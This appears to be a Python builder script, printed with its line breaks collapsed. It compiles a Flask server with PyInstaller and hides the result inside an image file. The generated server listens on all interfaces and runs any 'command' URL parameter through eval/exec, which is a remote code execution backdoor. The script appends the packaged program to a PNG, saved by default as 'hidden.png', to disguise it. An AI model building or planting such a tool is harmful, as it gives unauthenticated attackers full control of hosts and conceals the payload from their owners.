from tkinter.messagebox import showwarning from subprocess import Popen , DEVNULL ,PIPE import sys if Popen("pyinstaller",stderr=PIPE).communicate()[0]: if not Popen("pip",stderr=PIPE).communicate()[0]: Popen("pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate() else: showwarning("Pip not found","Python and Pip is required to run this program") sys.exit() from subprocess import Popen , DEVNULL from zipfile import ZipFile , ZIP_DEFLATED from os import walk , path , remove , getcwd from shutil import rmtree from io import BytesIO from argparse import ArgumentParser argparse = ArgumentParser() argparse.add_argument("-c","--console",help="Run as console app",action="store_true") argparse.add_argument("-f","--folder",help="Folder to package",type=str) argparse.add_argument("-i","--icon",help="Icon file",type=str) argparse.add_argument("-o","--output",help="Output file",type=str) args = argparse.parse_args() def save_zip(directory1,directory2): bytes = BytesIO() zipf = ZipFile(bytes, 'w', ZIP_DEFLATED) for root, _, files in walk(directory1): for file in files: zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory1, '.'))) for root, _, files in walk(directory2): for file in files: zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory2, '.'))) zipf.close() return bytes.getvalue() def package_app(folderpath: str,iconpath: str,saveappimage: str): open(rf"{folderpath}\app.py","w+").write(""" from argparse import ArgumentParser import flask as appflask from os import _exit import logging from main import * app = appflask.Flask(__name__) parser = ArgumentParser() parser.add_argument("-p", "--port", dest="port", type=int, default=12345, help="port to listen on") parser.add_argument("-a", "--address", dest="address", type=str, default="0.0.0.0", help="address to listen on") def run_command(command:str)->str: if command == "exit()": _exit(0) try: result = eval(command,globals()) if result: return str(result) else: return "" except SyntaxError: try: exec(command,globals()) return "" except Exception as e: return str(e) except Exception as e: return str(e) @app.route("/") def index(): command = appflask.request.args.get("command") if command: return run_command(command) else: return appflask.redirect("?command=print(1)") print("Running a app") log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) parser = parser.parse_args() app.run(host=parser.address,port=parser.port) """) Popen(["pyinstaller","--noconfirm","--onedir","--console","--name","main","--contents-directory",".","--clean","--disable-windowed-traceback","--runtime-tmpdir",".","--distpath",getcwd(),folderpath+r"\app.py"],stdout=DEVNULL,stderr=DEVNULL).communicate() rmtree("build") remove("main.spec") remove(folderpath+r"\app.py") open(saveappimage,"wb").write(open(iconpath,"rb").read()+save_zip("main",folderpath)) rmtree("main") if args.console: package_app(args.folder,args.icon,args.output) else: from tkinter.filedialog import askdirectory , askopenfilename , asksaveasfilename package_app(askdirectory(),askopenfilename(filetypes=[("Image files",["*.png","*.jpg","*.jpeg"])]),asksaveasfilename(defaultextension=".png",initialfile="hidden.png"))